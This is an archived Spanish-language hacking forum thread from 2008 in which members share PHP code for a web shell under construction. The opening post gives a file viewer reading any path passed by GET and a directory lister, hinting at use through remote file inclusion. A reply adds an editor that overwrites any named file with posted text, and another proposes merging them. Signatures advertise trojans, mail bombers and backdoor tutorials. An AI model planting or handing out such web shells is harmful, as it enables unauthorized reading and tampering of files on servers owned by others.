hacker


Ingresar con nombre de usuario, contraseña y duración de la sesión
| Portal Hacker | Editorial | Descargas | Ezine |
Inicio Ayuda Ingresar Registrarse
06 de Julio de 2008, 02:38:13
Noticias: Te consideras bueno en C++?
Para ver este enlace Registrate o Inicia Sesion
Aquí

+  Foros pOrtal Hacker
|-+  Programacion
| |-+  Desarrollo Web
| | |-+  Php (Moderador: shevchenko)
| | | |-+  Ver Sources de archivos =D
0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Ver Sources de archivos =D  (Leído 352 veces)
vengador de las sombras
Colaborador
****
Desconectado Desconectado

Mensajes: 633


¿4R3 U 1NF3KT3D?


Ver Perfil
« : 27 de Abril de 2008, 01:10:52 »

Bien, aquí os dejo una parte de una WebShell que estoy codeando para ArgeniversoHac k:

Código:
<?php
if(isset($_GET['source'])){
$source=explode('/',$_GET['source']);
$sourceb=array_reverse($source);
$asf=$_GET["source"];
echo 
'<div style="top: 123%"><textarea cols="100" rows="30" READONLY color=red>';
@
$lectura=fopen($_GET['source'],'r');
@
$lectura=fread($lectura,filesize($asf));
/*Esto es imrpotante, así evitamos ejecutar html */
echo htmlentities($lectura);
echo 
'</textarea></div><!--';
exit();
}
?>


El archivo que queramos ver, debe de estar en nuestro servidor (a menos que sea un RFI Grin). Simplemente pondríamos nuestroarchivo .php?source=AquirutaYaRcHiVo

Esto viene bien unido a un listador de archivos...:

Código:
<?php
if($_GET['path']==""){
$lala=dirname($lugarshell);
@
$directorio=dir($lala);
$ruta=$lala;
}
else{
@
$directorio=dir($_GET['path']);
$ruta=$_GET['path'];

}
?>

<?php 
$path
="$ruta"
$directorio=dir($path); 

echo 
"<br><br>"

while (
$archivo $directorio->read()) 
/* Con esto voy a intentar hacer que cuando sea un directorio, haga ?path, para ir a ese directorio*/

  
$extension=filetype($ruta.'/'.$archivo);
 if (
$extension=="dir"){
 echo 
"<font color=red><b>(<a href=?path=$ruta/$archivo>$archivo</a>)</b></font><br>"

}
/* Y si en vez de ser un directorio, es un archivo, vemos su Codigo Fuente =D */
else {
echo 
"<a href=?source=$ruta/$archivo>$archivo</a><br>"
}

$directorio->close(); 
echo 
"<br><br>";
?>

Es normal que las variables no sepais que son (como lugarshell). $lugarshell=$_SERVER[SCRIPT_FILENAME]

Bytes a todos.
« Última modificación: 27 de Abril de 2008, 01:12:02 por vengador de las sombras » En línea


Para ver este enlace Registrate o Inicia Sesion
ArgeniversoHac k Forums

-----------------------------------------

Para ver este enlace Registrate o Inicia Sesion
Criptografía desde 0
  - 
Para ver este enlace Registrate o Inicia Sesion
Crear un Mail Bomber en Perl
  - 
Para ver este enlace Registrate o Inicia Sesion
Hackear y Backdorizar con CryptCat
  - 
Para ver este enlace Registrate o Inicia Sesion
XSS:  Saltándonos las Magic Quotes y otros filtros
  - 
Para ver este enlace Registrate o Inicia Sesion
SQL Injection: Introducción al método del error
  - 
Para ver este enlace Registrate o Inicia Sesion
Aumentar hasta 10Mb la memoria de tu Motorola
----------------------------
NO RESPONDO PREGUNTAS POR MP!!
MatU_MalO
NZ3
***
Desconectado Desconectado

Mensajes: 581


Wallah!


Ver Perfil WWW
« Respuesta #1 : 27 de Abril de 2008, 02:33:35 »

Aunque leo y leo no lo entiendo xDDDD
Como hago para hacerlo funcionar Tongue
No entendi estas partes

Citar
Simplemente pondríamos nuestroarchivo .php?source=AquirutaYaRcHiVo

Citar
listador de archivos
En línea


Para ver este enlace Registrate o Inicia Sesion
Aporta a la Galería
-
Para ver este enlace Registrate o Inicia Sesion
Mi Troyan
-
Para ver este enlace Registrate o Inicia Sesion
EspiaCams

Vota:
Para ver este enlace Registrate o Inicia Sesion
MegaCopilator


Para ver este enlace Registrate o Inicia Sesion
MSNU08


Para ver este enlace Registrate o Inicia Sesion
Curso de Modding


Para ver este enlace Registrate o Inicia Sesion
Buscador CPH
-
Para ver este enlace Registrate o Inicia Sesion
Descarga Portables!
- Encuesta:
Para ver este enlace Registrate o Inicia Sesion
ET's
-
Para ver este enlace Registrate o Inicia Sesion
v
DarkAngel
Colaborador
****
Desconectado Desconectado

Mensajes: 648



Ver Perfil
« Respuesta #2 : 27 de Abril de 2008, 04:28:35 »

Es bastante simple, por lo que vi en el primer código lo que hace es capturar la variable "source" que se pasa por el método "get" y muestra el contenido del archivo pasado por "get" en un textarea no modificable y usa la función htmlentities para que se muestren los tags html como texto común y corriente.

El segundo no lo he leído todavía.

En conclusión, si quieres hacer funcionar el primero, simplemente copias y pegas el código, lo guardas como archivo.php, lo subes a algún servidor, y lo abres así:

http://pagina.com/archivo.php?source=NOMBREARCHIVO.extencion

siendo NOMBREARCHIVO. extencion cualquier archivo, como por ejemplo hola.html o quetal.html
En línea


knowledge is power...
MatU_MalO
NZ3
***
Desconectado Desconectado

Mensajes: 581


Wallah!


Ver Perfil WWW
« Respuesta #3 : 28 de Abril de 2008, 08:58:47 »

Muchas gracias  Grin
la extension tiene que ser html o puede ser cualquiera??
En línea


Para ver este enlace Registrate o Inicia Sesion
Aporta a la Galería
-
Para ver este enlace Registrate o Inicia Sesion
Mi Troyan
-
Para ver este enlace Registrate o Inicia Sesion
EspiaCams

Vota:
Para ver este enlace Registrate o Inicia Sesion
MegaCopilator


Para ver este enlace Registrate o Inicia Sesion
MSNU08


Para ver este enlace Registrate o Inicia Sesion
Curso de Modding


Para ver este enlace Registrate o Inicia Sesion
Buscador CPH
-
Para ver este enlace Registrate o Inicia Sesion
Descarga Portables!
- Encuesta:
Para ver este enlace Registrate o Inicia Sesion
ET's
-
Para ver este enlace Registrate o Inicia Sesion
v
vengador de las sombras
Colaborador
****
Desconectado Desconectado

Mensajes: 633


¿4R3 U 1NF3KT3D?


Ver Perfil
« Respuesta #4 : 28 de Abril de 2008, 09:04:39 »

Muchas gracias  Grin
la extension tiene que ser html o puede ser cualquiera??

.txt, .html, .php, etc

Si lo subes a un server verás el funcionamiento . Como dijo DarkAngel es muy simple, pero a mi me sirve mucho para ver los archivos que hay en el directorio XD.


En línea


Para ver este enlace Registrate o Inicia Sesion
ArgeniversoHac k Forums

-----------------------------------------

Para ver este enlace Registrate o Inicia Sesion
Criptografía desde 0
  - 
Para ver este enlace Registrate o Inicia Sesion
Crear un Mail Bomber en Perl
  - 
Para ver este enlace Registrate o Inicia Sesion
Hackear y Backdorizar con CryptCat
  - 
Para ver este enlace Registrate o Inicia Sesion
XSS:  Saltándonos las Magic Quotes y otros filtros
  - 
Para ver este enlace Registrate o Inicia Sesion
SQL Injection: Introducción al método del error
  - 
Para ver este enlace Registrate o Inicia Sesion
Aumentar hasta 10Mb la memoria de tu Motorola
----------------------------
NO RESPONDO PREGUNTAS POR MP!!
Dacan
Recien llegado
*
Desconectado Desconectado

Mensajes: 7


Ver Perfil
« Respuesta #5 : 30 de Junio de 2008, 12:18:40 »

Yo Tengo algo mejor Mira el Source y lo Puede Modificar:

<? 
$fichero 
$_GET["fichero"];
$texto $_POST["texto"];
if(
$texto != ''){
   if(
$fp fopen($fichero,"w+")){
      
fwrite($fp,stripslashes($texto));
      echo 
'Archivo modificado<br><br>';
   }
   
fclose($fp);
}
$fp fopen($fichero,"r"); 
$contenido fread ($fpfilesize ($fichero));
fclose($fp);
echo 
"<form method=\"POST\"><textarea name=\"texto\"$contenido</textarea><br><input type=\"Submit\" value=\"Guardar\"></form>";
?>  

Dale permisos 777.

Saludos, Dacan  Cheesy
En línea
carlmycol
NZ4
****
Desconectado Desconectado

Mensajes: 934


¡Dame 10 Hackers y Dominare al Mundo!


Ver Perfil
« Respuesta #6 : 30 de Junio de 2008, 03:55:57 »

Esta muy buena el primero lo que haces es tomar el texto que esta dentro del archivo, filtrarle los caracteres html y mostrar, es muy util, el segundo abra el directorio y lo revisa.

Quedaria unir los dos y hacer una variable get para interactuar entre los dos codigos

Algo como

Código:
$opcion=$_GET['opcion'];
switch($opcion) {
case "ver": {
        .......Se muestran archivos en directorio raiz............
}
case "source": {
         .........Se muestra codigo de archivo..........
}
}

Y se interactual las funsiones a travez se links Wink como ?opcion=source =P

Buen aporte.

salu2
« Última modificación: 30 de Junio de 2008, 03:57:41 por carlmycol » En línea

Sun Web Studio 80% (Pausado)
Snorlax web builder 10% (Pausado)
Dark Trojan 30% (Programando)
JJoiner v2 Final 50% (Pausado)
BDB Bat Builder 10% (Pausado)


Mi tiro CSS para el blues
Para ver este enlace Registrate o Inicia Sesion
Aqui

Programa favorito: notepad =P


No respondo por MP, para eso esta el foro
Páginas: [1] Ir Arriba Imprimir 
« anterior próximo »
Ir a:  


Ingresar con nombre de usuario, contraseña y duración de la sesión

Powered by SMF 1.1.5 | SMF © 2006-2008, Simple Machines LLC hacker

Juegos gratis - Articulos PHP - Juegos - Trucos - Letras - Juegos - Juegos Online